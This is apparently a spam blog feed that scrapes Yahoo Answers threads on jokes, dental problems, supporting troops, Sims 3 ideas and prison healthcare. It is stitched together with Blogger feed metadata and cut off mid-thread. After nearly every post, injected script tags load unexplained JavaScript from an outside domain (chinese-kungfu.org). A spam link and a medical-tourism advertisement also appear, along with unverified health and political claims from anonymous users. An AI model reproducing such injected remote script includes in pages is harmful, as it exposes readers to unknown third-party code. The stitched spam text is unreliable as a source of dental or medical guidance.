instructions... 8 cups of water won't fit into those little packets!!!<br><br /><br />June: Tried to go water skiing... couldn't find a lake with a slope.<br><br /><br />July: Lost breast stroke swimming competition... Learned later the other swimmers cheated, they used their arms!<br><br /><br />August: Got locked out of my car in rain storm... Car swamped because soft-top was o pen.<br><br /><br />September: The capital of California is "C"... isn't it?<br><br /><br />October: I hate M %26amp;M's... They are so hard to peel.<br><br /><br />November: Baked turkey for 4 1/2 days... Instructions said one hour per pound and I weigh 108!!!<br><br /><br />December: Couldn't call 911... "duh" ... there's no "eleven" button on the stupid phone!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Hi!Funny or no?<br>Gosh! Love the first one! I can figure it out how to stand out from the crowd in elevator! LOL<br>Reply:HILARIOUS !!!!!!! I read that twice %26amp; cried from laughter! Those elevator jokes were the funniest part :) <span>Report It</span><br /> <br>Reply:you should be charge 300 points for that mess<br>Reply:funny<br>Reply:That is the longest question I have seen so far! Excellent jokes! A star is born. Have a great day.<br>Reply:That was funny.<br>Reply:the elevator one was funny as hell<br>Reply:i dont know, i'm soo tired of reading it.....<br>Reply:not really funny when you have to read for ten minutes.<br>Reply:WOW!! THAT WAS WWWWAAAAAAAAAAAAAAAYYYYYYYYYYY!!!!!!!!! TOO LONG. YOU LOST ME AT #5 OF ELEVATOR JOKES. I HAVE TO SAY OKAY BECAUSE I DIDN'T FINISH AND BECAUSE I DIDN'T LIKE THE ELEVATOR JOKES AT ALL.<br>Reply:Those are HILARIOUS! Did you make them yourself? I you did, you are extremely talented.<br>Reply:Some are funny some are not. The 24 things to do in the elevator will get you thrown into a rubber room faster than a laugh.<br>Reply:yes they were funny! good job<br>Reply:Long, but so worth it. Most of them were hilarious.<br>Reply:not that funny........no sry!<br>Reply:A few of those I heard before, but the new ones were witty, funny and smart; they're just what I need to tell my friends tomorrow at the party of the season. My favorite new joke is the one with Washington, Bush and Clinton, it's like no joke I've ever heard before! E-mail me if you come up with more!<br><br /><br />@-%26gt;--%26gt;-<br>Reply:Yes very funny:)<br>Reply:funny :)))))))~<br>Reply:It was funny. It was too long. I've got over 100 pages of jokes. I wouldn't dream of subjecting someone to them all at once.<br>Reply:really funny..lol..but i got very tired of reading it..<br>Reply:some were very funny i really liked the son asking his father about politics<br>Reply:I had seen some of them before, but still funny. WAY too much on one page, though.<br>Reply:I'm sorry, but this was way waaaay tooo long...my eyes started bleeding after the 9th "funny to do in the elevator" which, btw, wasn't very funny at all.<br><br /><br /><br><br /><br /><br><br /><br />So no, I'd have to say, in answer to your question "NO, NOT FUNNY".<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-9760689727804046982010-05-21T20:29:00.001-07:002010-05-21T20:29:25.013-07:00Does anyone know if the modern dental cleanings cause teeth to crack, crowns to lose their enamel surfaces,?family, several friends have been having teeth crack, crown surfaces partly or fully come off, usually soon after dental cleanings. Also some friends have been told have cracked tooth in back, while having cleanings done, had no idea if true??seems odd to us. Has anyone had same experiences, as newer cleanings are different than yrs ago?? Also when crowns lose enamal, why do many dentist want to take out whole crown, when still solid, do root canals, etc, big $$$, when others will do refacing ??? Only from experience or those who truly know, please. Been happening to number of family members, friends, relartives past 2 or so years, not all go to same dentist??? Need reply as soon as possible as just lost enamal off front tooth week after cleaning, really odd !!!!!!!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Does anyone know if the modern dental cleanings cause teeth to crack, crowns to lose their enamel surfaces,?<br>I have worked for a dentist for 16 years. Dental cleanings are designed to preserve your teeth. Ideally, one should receive dental cleanings every 6 months to maintain your teeth properly. If it has been several years since a cleaning, tarter builds up on your teeth causing gum(periodontal) problems and infection. Enamel and Decay problems are caused by the foods you eat and the home care you give your teeth. Trauma is also a factor. Crown refacing does not last and is not a measure any dentist would use anymore. When the porcelain breaks from a crown, the crown is compromised and needs to be replaced. 9 times out of 10, when you take off the crown, there are problems with the seal also. <br><br /><br />The life of crowns are estimated between 8-15 years- we guarantee our crowns against breakage for 5 years if you come EVERY 6 MONTHS FOR YOUR CLEANINGS AND CHECK UPS. That is how important they are. <br><br /><br />It is just coincidence, I assure you that your teeth seem to fall apart after cleanings.<br><br /><br />Edit: <br><br /><br />Still, I can just speak for the dentists I have worked for and the hygienists I have personally observed. They are quite careful and while making money is important(otherwise we couldn't stay in business), so is preserving tooth structure and healthy teeth and mouths make healthier people.<br><br /><br />Some people do need cleanings 3 or 4x per year for gum disease. About 7% of our patients fit into this category-<br>Reply:disagree, found info from friends, neighbors, online , lots do bonding, found people had done opver 5 yrs ago, still ok, others did nothing as only cosmetic and ins wont pay. no reason to take out good crown,lots info online <span>Report It</span><br /> <br>Reply:that does sound weird. it is normal to have a microscopic amount of tooth enamel shed off during dental cleanings. not enough to make a difference though. but that is why cleanings are recommended every 6 months for most people. floride treatments help reinforce your teeth. as for the crown question, it depends on the dentist and what is going on with the tooth. i would get a second opinion. i do know that enamel problems could be a hereditary problem as well.<br>Reply:Whoa, some of your statements are conflicted and make unrealistic assumptions. First, tooth cleaning "does not" cause a tooth to crack, Second, Crown surfaces can indeed be damaged by tooth cleaning as can natural teeth. If the dentist or hygienist uses a "sonic" tooth cleaner, meaning a tooth cleaning instrument that vibrates on a high frequency and the instru,ent is held against the tooth's surface for to long, the surface can indeed be damaged.. As for a damaged Crown surface, it can't be repaired in the mouth if it's a Porcelain surface, the crown must be removed for repairing due to the fact that the repair procedure requires the crown and new porcelain be baked on in an oven at around 1800 degrees...as for a root canal, that would not have anything to do with a damaged surface, that has to do with an infection at the root tip of the tooth, or in the case of a natural tooth it may be the tooth is beyond either a root canal or surface repair or crown placement. Apparently you and your family members have a varying degree of dental issues and from your description, they are not related to anyone dental procedure. They may seem similar, but not from what you describe. Good luck and I wish you well.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://computer.imwebhost.com/jsp/>jsp</a>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-33349491491789774202010-05-21T20:29:00.000-07:002010-05-21T20:29:08.646-07:00I didnt mean to say I dont support the troops, I mean how do I support them honestly, I still belive there'sDyaam, Geez, How the hell do you think I can support our troops. Will people buy a patriotic muslim. Hmmm maybe if its a rich muslim. Plus how do you support your troops. Do you guys pray for them. Put a sticker. I just feel lack of results is simply not making me not support anyone. I mean yeah these are young men. I remember when i was out of high school. Will our support make them happy or sad if they find out they were lied to. At that age being lied to really sux. Plus dont you think they choose to go in the Army, while some kids Dream of getting a 2 year contract Top of the line cell phone, they think of well their thoughts. I mean maybe if I had a friend or friends family whose out on duty that would have been easy. But I just feel being a muslim and supporting for the troops doesnt show that I support it. Maybe I should go to like where their families and stuff gather to talk. Yeah thats like going to the dentist. What I am getting at is that support whoever ur<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>I didnt mean to say I dont support the troops, I mean how do I support them honestly, I still belive there's<br>Yes, I buy a patriotic Muslim. <br><br /><br /><br><br /><br />My only point to you is, do you denounce what the al Qaeda terrorists have done, not just on 9/11, but also in Bali, in Spain and in England? You probably do, but too bad many clerics of your faith do not. <br><br /><br /><br><br /><br />As for being 'lied to', the military isn't all young people and they support it.<br>Reply:Don't worry about it! All those who scream on here don't support them either and it starts with Bush!<br><br /><br /><br><br /><br />Bush has cut VA hospitals 2 times, and we are seeing the sad state of affairs our military hospitals are in. Bush asked Congress for $40 Million for the hodpitals! That's nice! His cut to VA hospitals in 2006 was $100 BILLION! But the tax cuts for the rich was and is still in the budget! Don't you think those are wierd priorities for someone who says they support the troops. If I were Rich, I would be too ashamed to even think about taking the cut!<br><br /><br /><br><br /><br />Bush cut widows benefits in 1/2!<br><br /><br /><br><br /><br />Bush tried to cut combat pay!<br><br /><br /><br><br /><br />As the military have contracts with the services, they only mean anything if it is for someone other than the servicemember! He keeps them beyond their contract date, sending many back to Iraq!<br><br /><br /><br><br /><br />For 4 years Bush "Stayed the Course" and made our service men and women target practice in a civil war! 32,544 wounded and 3,455 dead, brought home daily in body bags!<br><br /><br /><br><br /><br />Five years later our military still does not have armored Humvees! More are killed and wounded by IED's than any other means!<br><br /><br /><br><br /><br />You think Bush and most Republicans support the troops? Most don't! Hell, you can't even get them out for a 1 hour parade on Memorial day to honor the dead. They are too busy soaking up booze at a cookout!<br><br /><br /><br><br /><br />A yellow $4.00 magnet made in China from Walmart isn't supporting our troops! I don't even think they still sell them!<br>Reply:WOULD LIKE TO KNOW WHERE CANTCU GETS HIS INFO. FROM!!! HE SEEMS TO KNOW SO MUCH, LOL. I BET A NICE LIBERAL SITE, THAT SOMEHOW FAILS TO MENTION THAT WE STARTED THIS WAR ON TERROR WHILE STILL ON CLINTONS DEFENSE BUDGET, AND BUSHS FIRST DEFENSE BUDGET WAS PASSED LONG BEFORE WE WERE ATTACKED I REPEAT ATTACKED ATTACKED.....<br><br /><br />AND NOW THERE IS NOT ONE VEHICLE THAT GOES OFF ANY BASE THAT IS NOT FULLY UP-ARMORED AND WE HAVE EVERYTHING THAT WE NEED BEFORE GOING ON ANY MISSION(STOP LISTENING TO HILLARY, WE STARTED THIS WAR WITH WHAT HER AND BILL LEFT US WITH).ARMY HAD 19 DIVISIONS UNDER REAGAN, 10 WHEN BILLY WAS DONE, THANKS A LOT CLINTONS!!<br><br /><br />100 BILLION VA CUT, YOU TELL ME A YEAR WHEN THEY WERE EVER CLOSE TO EVEN HAVING 100 BILLION TO EVEN CUT 100 BILLION???? I LOVE YOU FAR LEFT LIBERALS THAT TALK WITHOUT INFO, BECAUSE IT PROVES THE POINT THAT THEY HAVE NO GUTS OR STRATEGY.<br><br /><br />AS FAR AS PAY, BUSH INCREASED IT BOTH COMBAT AND NOW DEATH BENEFIT IS NOW 400 THOUSAND AND WAS 250 THOUSAND.<br><br /><br />I AM NOT RICH BUT HE CUT TAXES FOR EVERYONE, INCLUDING YOU! YOU ARE JUST LIKE THE MAJORITY THAT ARE JEOLOUS OF RICH PEOPLE, I DONT BELIEVE THAT A RICH PERSON SHOULD PAY A HIGHER PERCENTAGE THAN ME. BUT THEY DO A LOT MORE IN FACT. stay liberal, they love ignorance! they rely on you people!<br>Reply:Send care packages of items hard for the troops in combat areas to obtain.<br><br /><br /><br><br /><br />Send cards and letters of encouragement and thanks to the troops.<br><br /><br /><br><br /><br />Visit the VA hospitals and offer your services to help make the veterans life a little easier.<br><br /><br /><br><br /><br />Write letters to those politicians who do all they can to harm our troops and express your support for the troops, encouraging them to do the same.<br><br /><br /><br><br /><br />Write letters to those politicians who support our troops and encourage them to continue to do so, explaining how you are behind them 100%.<br><br /><br /><br><br /><br />Offer your hand of fellowship and thanks to the families who have children serving in our armed forces.<br><br /><br /><br><br /><br />These are but just a few of the things we can do.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-57225631059518491942010-05-21T20:28:00.003-07:002010-05-21T20:28:52.882-07:00Dental questions?Okay, I'll be the first to admit it: I'm being a chicken about going to the dentist, but considering the way the last dentist mangled my jaw, you'd be scared, too. Anyway, I have a couple of problems:<br><br /><br />Several of my molars have, over time, broken-off down at or below the gumline (old fillings/crowns breaking off). Generally, they cause no trouble, and I brush them. But, one is giving me a bit of a bad time in the last two days, sharp pain that lasts briefly, then goes away. The gums have mostly grown over them. If I have them pulled, will it hurt worse than pulling a normal, non-impacted wisdom tooth? At my age (49) how much pain will I be in afterward? Two days? Three? And would these require surgery, or can the dentist just cut the gum and pop 'em out with an elevator? Last dentist to use an elevator shattered part of the maxilla! OOWWWWW!<br><br /><br />Nobody in my family can tolerate gen. anesthesia (we get VERY ill), so I'm pretty scared. I'm also pretty broke!<br><br /><br />Serious answers appreciated.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Dental questions?<br>HELLO ZEEBYA,<br><br /><br />FIRST, LET ME STATE THAT IT WAS UNFORTUNATE FOR THE TRAUMA YOU EXPERIENCED. THE BONE OF THE MAXILLA IS LESS DENSE THAN THE MANDIBLE AND WITH A TRAUMATIC EXTRACTION BONE FRACTURE IS A LIKELY POSSIBILITY.<br><br /><br />CONCERNING YOUR PREVIOUS EXPERIENCE WITH A DENTIST, I WOULD RECOMMEND TO BE SEDATED AT THE ORAL SURGERY OFFICE.<br><br /><br />THE BROKEN DOWN ROOTS WHICH ARE AT OR BELOW THE GUMS NEED TO BE EXTRACTED SURGICALLY.<br><br /><br />SINCE FINANCIAL MEANS ARE AN ISSUE, CONSIDER A DENTAL SCHOOL WHERE THE COSTS ARE MORE REASONABLE THAN PRIVATE PRACTICE.<br><br /><br />FYI: ELEVATORS USED IMPROPERLY WILL EASILY FRACTURE BONE OR ADJACENT TEETH.<br><br /><br />AS A DENTIST I USE LUXATORS NOT ELEVATORS FOR EXTRACTIONS.<br>Reply:Your problem is pretty grim. Ask a dentist on how to treat it and you should not be scared. If you are the pain will be worse day by day<br>Reply:Roots normally heal back very quickly but sometimes the extraction can be difficult for a regular dentist b/c it will probably be a surgical extraction. Having a specialist (oral surgeon) perform the extractions would be much better. They can also perform a conscious sedation so you don't have to remember.<br>Reply:Dental surgery is very safe nowadays. My cousin got her dental implants and Lasik surgery in India by a company called Indian Health Guru Consultants. The Price for dental and Lasik surgery is very less in India. She paid 25% of the price she was quoted in America.<br><br /><br /><br><br /><br />Indian Health Guru Consultants is very famous in India They arrange Dental surgery, jaw surgery, Lasik eye surgery, Dental Implants etc for foreign patients in India. I read a lot about them in the Newspapers and magazines- about their patient stories.<br><br /><br /><br><br /><br />They arrange financing for USA, Canadian, UK and other international patients who plan to have surgery abroad for low cost, as dental and eye surgery is not covered by insurance. They also have photos pasted of their International patients. You can checkout their website. There are huge cost savings. As a doctor I personally believe that surgery can be easily handled in India, as the quality of healthcare available In India is simply best in the world. The surgeons are USA/UK trained and facilities are 5 star.<br><br /><br /><br><br /><br />http://www.indianhealthguru.com<br><br /><br />Hope this helps.<br>Reply:If you are having these sharp pains, you need to make an appointment asap! An infection in your mouth can be very serious. Your dentist/oral surgeon will probably have to prescribe you an antibotic to fight the infection before they can do anything at all.<br><br /><br />I completely understand your situation. I just had three wisdom teeth removed and was awake the whole time. The oral surgeon was telling me they have many new ways that are cost effective, which usually allows payment arrangments. I would advise you to be awake, it will go quick. They ususally give you some pain meds for after to. I felt no pain even after the numbing wore off. Even tho your situation sounds a bit more severe its not worth being put under :)Good Luck!<br>Reply:You should see an oral surgeon to have them taken out. They can put you to sleep so you won't have to worry about the pain. Since your teeth are broken that far down an oral surgeon can get them out much quicker than a general dentist because he has more experience with these kind of cases. You will have some discomfort after the procedure but they will give you some pain meds to help you deal with the pain. The tooth that has been bothering you is infected so you really need to have it extracted. It is not good for your body to have an infection like that. The pain will only get worse if you don't have it extracted. Good Luck and I hope you feel better soon.<br>Reply:Proper dental hygiene makes a person feel well through out the day. Brushing the teeth daily two times helps in keeping the dental diseases at bay. Dental hygiene is of utmost important for everyone. Choosing a proper paste and brush is very important as it helps in fighting cavities and germs in the teeth. Toothbrush should be changed at least every 4-5 months.<br>Reply:to me anything to do with the mouth is very painful. i suggest u take care of this right away, deal with the pain now rather than later; it might be enough time where you wont have to see an orthodontist, the dentist might be able to correct the problem. if not get ready for the surgical procedure. also i do not know what area (county) u live in, but i used to work @ the county medical center(s) in my county, program which is based on your family size, income, etc., we would put patients without medical ins on the county plan. we mostly had single men, living w/a friend or relative receiving free room and board(for those that did get food stamps), room only if they didn't receive the stamps. most qualified for 100% COVERAGE, not just for dental but for all services the county facility offered, even optometrist visits if you need glasses. the only down fall(s), the county usually is crowded, might have to go through the ER to be seen by the dentist immediately, or show up @ the dental clinic to register before they open (approx 7am is a good time) or see how long the wait time is for an appointment. now if the county won't work for u get ready for a huge dental bill if u go to a private dentist. if u decide to go to the county just ask if they have any assistance for the medically indigent. now i haven't worked since 2002 but the facility still provides care for indigent patients, i do believe there is a law for the county facilities not to turn anyone away who needs medical /dental attention. let go and let GOD! my prayers r w/u. i don't know how u feel about cannabis, since anesthetic is out of the question, it works for me i don't like pills, even though when i can't get the cannabis i'll take the nor-co (xtra strength vicodine w/out the tylenol), valiums, flexerils, etc. which is prescribed for me along w/synthetic marijuana in a pill called marinol, this script is hard to obtain due to the cost i recive 60 tabs per mo %26amp; they cost $1500. the new ins co i am with won't cover it because of the cost. i am working around this since i have been on the marinol for two yrs. good luck c u later bye!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-5427099981470054672010-05-21T20:28:00.002-07:002010-05-21T20:28:37.678-07:00Sims 3 Ideas?- Sims have more age levels baby-toddler-kid-preteen-teenager-young adult- adult-elder ( with more days in them)<br><br /><br />- Toddlers can now go anywhere with the family (in the car, and anywhere else with a stroller and car seat)<br><br /><br />- Bigger Houses<br><br /><br />- You can now watch Teenagers and kids go to school ( have there schedule, make there classes, have teachers, principals, and classamates, lunch time, recess for kids, study hall, and subjects)<br><br /><br />- Sims can now drink when there eating<br><br /><br />- Sim Teens and kids can have projects and reports due on a certain date<br><br /><br />- Sim Teens, kids, and young adults can get grounded from parents<br><br /><br />- When buying clothes, its not in big amount of money ( like a top is $200, make it like $20)<br><br /><br />- More variety of food ( and more specifty) <br><br /><br />- Sims can now lay on there bed doing there homework or watching tv ( on stomach)<br><br /><br />- Sims can now visit neighbors and friends by walking or by car<br><br /><br />- When at the grocery, can get specific food like (eggs, milk, water, snacks, frozen food seperatly) in a caridge and a toddler seat incase toddler is along.<br><br /><br />- Other sims can now contact there friends or family with a cellphone when there not home<br><br /><br />- More Realistic Jobs ( Eye doctor, gynecologist, singer, song writer, producer..)<br><br /><br />- More Aspirations<br><br /><br />- You can now actually make food from scratch instead of watching your sims do it themselves.<br><br /><br />- Sims can now have real sicknesses ( Cold, Fever, etc.)<br><br /><br />- More realistic (functional) objects ( printer, flower pots, drawers, cell phones, etc.)<br><br /><br />- They can drink bottled water<br><br /><br />- They can go to the mall with friends or family together ( with more people in it. Instead of like 5 sims, make it 50 sims plus npc's.)<br><br /><br />- Sims can go get there hair done and nails<br><br /><br />- There can be amusement parks ( carnivals, fun places) with FUNCTIONAL rides ( bumper carts, ferries wheels, rollercoasters, and other places)<br><br /><br />- Real Fast Food Resturants- Mcdonald, Burger King, Wendys, and others. ( With EDIBLE FUNCTIONING FOOD)<br><br /><br />- Sims can now customize their hair styles ( Girls= Hairbands, ponytail, curly, straight ( with curly iron or FUNCTIONING hair tools) Guys= haircut styles)<br><br /><br />- Sims can now have doctor and dentist appointments ( functioning and real seeing when having tooth pulled or having a shot)<br><br /><br />- Sim teenagers can now go through adolensence ( Liking others, making choices, etc.)<br><br /><br />- In Building mode= sims can have skylights to houses, more gardening tools, etc.)<br><br /><br />- Sims who have cars can now fill there cars with gas at the gas station when tank is empty<br><br /><br />- Parents can now teach there sims how to drive ( age stages= teenage to young adult)<br><br /><br />- Sim Adults can now play the lottery to win million to a billion dollars<br><br /><br />- Sims can go to movie theaters ( LIVE AND FUNCTIONING) can buy popcorn, drinks, or anything with friends, family or all together<br><br /><br />- Can have a DVD Player and buy rentals at movie stores<br><br /><br />- In the summer sim kids to young adults can have summer vacation for 3 weeks in sim time.<br><br /><br />- The clock is now in minutes instead of seconds (except when there sleeping time goes to seconds and speeds up till morning)<br><br /><br />- When sims wake up at 6:00am, it is now morning instead of at 7:00am<br><br /><br />- Sims can have braces when going to the dentist<br><br /><br />- Sims can have a walk-in-closet<br><br /><br />- Sims can now live in a culdesac (round circle or dead end with houses around) or in a private driveway (with a neighbor at the otherside)<br><br /><br />- More realistic skin tones<br><br /><br />- When a sim mom is pregnant can now rush to a hospital instead of giving birth standing up<br><br /><br />- Sims can live in apartments (functional and paying rent)<br><br /><br />- Sims who are in school or college can now choose after school activites (see next idea)<br><br /><br />- After School Activites= HipHop Dance Class, Step, Choir, Chess, Art, fashion, sports, etc....)<br><br /><br />- Sims can celebrate hoildays on there sim calender! ( Halloween, Thanksgiving, Easter, Christmas, New Years, St.Patrick, and more) (or make an expansion pack for that)<br><br /><br />- Sims can eat ice cream during summer and spring<br><br /><br />- Can now choose more specific clothing ( have a tie, this or that pants, etc..)<br><br /><br />- More split-leveled houses<br><br /><br />- Sims can now have an ethnictiy and race ( Black, African, Spanish, Irish, Russian, Asian, You name it!)<br><br /><br />- Sims couples can now go on anniversarys every time there marriadge day comes<br><br /><br />- Sims have functional bicycles, scooters, skateboards, bus)<br><br /><br />-**Most Important** have seasons, pets, vacations, and colleges too like Sims 2 (can be expansion packed, or in the game all together)<br><br /><br />- Sim couples who are married can now get divorced and sim couples who are bf and gf can break up anytime<br><br /><br />- Can have lawyers<br><br /><br />- Health Insurance<br><br /><br />- When Sims Sleepover can now have the option to make your guest sleep instead of them staying up all night <br><br /><br />- Sims have the choice to smoke or not ( Teenagers can experience that in adolensence.)<br><br /><br />- Have REAL SPECFIC FUNCTIONING STORES= Walmart, Target, Best Buy, Toys-R-Us (Dosen't Have to have those names but have those kind of stuff)<br><br /><br />- Toddlers can now go to daycare instead of being home with nanny <br><br /><br />- Sims who are still in school must go through their grades ( Preschool=Toddler, 1st-6th=Kids , 7th-9th= PreTeens, 10th-12th=Teenagers, College= YoungAdults.)<br><br /><br />- When going on vacation you can now see your sims in the airplane traveling still controlling them.<br><br /><br />- Have Freckles depending on your ethnecity or race.<br><br /><br />- When sims who are in school comes home with homework they have diffrent subjects to complete (Math, English, Social Studies, etc..) And can actually help them with the homework <br><br /><br />- When a sim dies can have a funeral.<br><br /><br />- When its a sim's b-day can go to places like the amusement parks or resturants instead of having a party at home. ( And functional ability to have gifts from friends and family)<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Sims 3 Ideas?<br>Obviously you should go to http://thesims3.ea.com/<br><br /><br /><br><br /><br />----It has been revealed that sims can walk around the neighbourhood without any loading<br><br /><br />----You can take designs from furniture and walls etc. and use them for other objects etc.<br><br /><br />----Instead of personality points you choose 5 personality TRAITS e.g. caring, nice, naughty, kleptomaniac (there are about 80 to choose from).<br><br /><br />----the mood bars have been toned down a bit because ea noticed they were declining too rapidly and it was hard to explore the sims life without worrying about the moods of sims all the time (does this make sense, I tried to explain all of this nicely).<br><br /><br />----the sims look more lifelike as seen in recent pictures (I think they look like humans in 'Bee Movie')<br><br /><br /><br><br /><br /><br><br /><br />Not much has been posted and that is all i can tell now but you can sign up for information at http://thesims3.ea.com/<br><br /><br /><br><br /><br /><br><br /><br />Hope this helped!<br>Reply:They are really good ideas and i totally agree on making it more real. But wouldnt some of the ideas make it alot like life, long and sometimes teadius? Like having to get certain things for groserys and children have Morre homework <span>Report It</span><br /> <br>Reply:wicked well go to a www.maxis.com or www.sims.com then send tht message to them<br>Reply:It has already been confirmed that you can go through the neighborhood walking.<br>Reply:You know..I love your Ideas! I get sooo bored with the sims 2 now days and this seems like a game that i would play!...you should send them a letter or get an email or something to send them your ideas..you could become a millionare!<br>Reply:Im sorry that this isn't an answer, but wow! thats a lot of info! You should be like a game developer! Okay.... try the Sims Forum.<br>Reply:First of all, it;s not maxis. its now EA GAMES.. So if u wanna contact them or tell them this idea better go to www.thesims3.com OR www.eagames.com<br>Reply:I think these are good ideas!<br><br /><br />The EA people use the fourm (BBS) on www.thesims2.com (you need to regester to post) to get ideas, If your post gets enough comments the makers of the game will read it and maybe use some of the popular ideas. <br><br /><br />They are currently scanning the fourms for feedback as the sims3 site has just opened. www.thesims3.com <br><br /><br />That is the only way I think to get your ideas through to them. If they looked at all their email from fans requesting things they wouldn't have any time to make the sims games!<br>Reply:great ideas<br><br /><br />i would really like to see sims living in appartments and a better aging system (as you mentioned)<br><br /><br /><br><br /><br />you must post this to maxis or ea!<br><br /><br />overall, i hope this is what we see in the sims 3!!!<br>Reply:WOW!!! NICE IDEALS<br>Reply:Yeah! Great ideas. Although I wouldn't like homework assignements. :P TTYL<br><br /><br />Love, Lil Miss<br>Reply:I agree with alot of your ideas (they're really good). The idea of having more realism in the game sounds refreshing. I was getting so bored/annoyed of the cartoonish Sims 2, they should really "step up" the game play in the Sims 3 as you have already mentioned in your ideas. You should really send in your ideas to EA! I think alot of Sim fan/players will agree with your ideas. <br><br /><br /><br><br /><br />* I really hope that they continue to refine the Sims 3 instead of leaving it the way it is now. %26lt;:(<br>Reply:That is some great ideas!!! try http://www.thesims3.com or http://www.thesims2.com<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-46127521712332099542010-05-21T20:28:00.001-07:002010-05-21T20:28:21.263-07:00Why Do People In Prison Get Pampered When A Hard Working Man Who Pays Taxes Can Barely See a Doctor???Just think there are families who struggle day to day paying for doctors appointments such as dentists getting their teeth fixed cost out the butt... Then people in prison get education dentist eyes fixed anything they need and a man who pays the taxes which goes to the government for such things more or less suffers because the price of seeing a doctor is a great deal of money these days<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Why Do People In Prison Get Pampered When A Hard Working Man Who Pays Taxes Can Barely See a Doctor???<br>I agree completely with big_john. But might I add, prisoners do not have choices anymore. The only one they do make is whether to survive prison life , or let it kill them. To wake up everyday, hoping you will wake up tomorrow brings no peace within yourself. Then to go to bed with one eye open, everynight hoping you will get a good night sleep so you can wake up again hoping you make it through another day."not ever knowing" your place, getting your butt kicked , or worse getting raped day after day by other inmates or guards, getting your chow stolen, getting blackmailed out of the little money you may have on your books, the horrors go on and on. My point is healthcare? no. lavish prison living? no. Everything we all have is a choice....so you choose to question something you know nothing about, prison life and poor people obtaining healthcare. fine with me. remember, anyone- can choose to make a better life for themselves and be eligible for "super meds" or not . Worry less about the guys and gals that are paying for their bad choices they made in the free world, and if un fair health care really is your concern, then do something about it. that would be awesome!<br>Reply:i'd rather have bad health care then be in jail<br>Reply:Hard working men have their freedom. Men in prison would love to trade places. That's why those places have things like walls and towers and big guys with guns.<br>Reply:You know, i never really liked how people in prison got pampered either. Its seriously not fair. Anything they could possibly need is catered to them, at no cost to them of course, but at a cost for me. i wish we could choose where our tax money went, because mine wouldnt go to prisons and jails, things of that kind.<br>Reply:If they really wanted to trade places with free men, they would straighten up their act and we wouldnt have the revolving door.<br>Reply:Your ignorance is showing. Just like everything else, it is easy to make judgements if you don't know the facts. Regular prisoners do not get pampered. Now if you're talking about the Martha Stewarts of the world, that's different. My son is losing his teeth because he cannot see a dentist, hasn't had glasses in two years, cannot get antibiotics, showers with 7 others, sits on the john with a crowd. <br><br /><br />My other son who fought in Iraq twice cannot afford an apartment in our state. I don't think you are the only one having problems.<br><br /><br />Maybe you should quit whining and be grateful for what you do have.<br>Reply:Because the minds of those, who create the laws and policies, are more warped than they would like to reveal. They have warped sense of priorities!<br>Reply:I agree. Some body last night suggested sending them to war, the front line. That is one of the greatest ideas. Put child molesters, kidnappers, rapist, and the nasty law breaking citizens on the front line. Look at how much our government is spending on other countries and does not help our people. It turns my stomach. Help honest citizens should be our goal first and for most. At least we know that we are honest.<br>Reply:Good question but I would never want to be in jail...<br>Reply:Depends on the prison. I was told by a coworker, that he visited a friend of his in prison (Who was a Medical Doctor). He murdered his wife. He was there to help him move in a big screen TV. He saw I was appaulled, so he explained that he paid for the TV. THe thing was I was appaulled he had a room that could fit a big screen TV. He was a murderer, but because he was rich, he got to go to Minimum security prison. On the other hand the poor goes to Max. Its not all sunshine there. Disease is rampant and people die of other reasons. My problem is this countries interpretation of cruel and unusual punishment. Punishment is so uneven. I heard one prison, you commonly get lobster, while others are lucky to get road kill.<br>Reply:I don't know about the pampered prisoner situation but I know the cost of health care and what it means to go with out. <br><br /><br /><br><br /><br />I think if government officials had to pay for their own health care the problem would already be fixed.<br>Reply:That is ridiculous... People have somehow gotten the opinion that the prisons are some type of country club or something... Did you know that in Wisconsin the budget to feed a prisoner is 50cents a day? In Arizona where they live in tent camps it is much lower than that.<br><br /><br /><br><br /><br />When you are in prison your whole body ages at about twice the rate it does on the outside- I know a woman who did 8 years in the federal system for mail fraud and came out looking 20 years older... The medical care in prison is completely substandard to what is available on the outside... That is one of the main reasons that mob boss John Gotti died at only 62yrs old... His dental implants got infected and they wouldn't do anything for him besides asprin until it was too late and the inflammation turned into jaw and mouth cancer and killed him.<br><br /><br /><br><br /><br />Look into it a little bit more and you will find out that prison is noplace anyone wants to be no matter how poor they are.<br><br /><br /><br><br /><br />And to the guy that said there's a prison where they commonly get lobster- that's not accurate. There is one prison where the purchasing agent managed to get some super deal where lobsters from some supplier were the same price as the hamburger meat they had been getting. The prisoners got lobster one time and it was all over the newspapers, people were outraged and that was the last time that ever happened.<br><br /><br /><br><br /><br />I would take a homeless shelter over prison or jail any day of the week.<br>Reply:ok here are the facts, prisoners do have to pay for dental care, medical visits, glasses etc. many have family members who send them money and those who do not have to work long hours doing some pretty grueling work for about 25 cents an hour to afford these things. the tv's that they all have, they have to pay for, the shampoo, the soap, everything they have they have to pay for. now they pay a much smaller cost than you and i but it is all relative to money they make as well. all things considered inmates do live pretty comfortably but then again at pretty much any time and without warning the guards can search their rooms take any and all things that are not on the small list of allowables, and in many cases have them sent to "the hole" for a day or 2 for having these items. they are told when to eat, miss meal time and you better hope you have some money to buy some food, they are 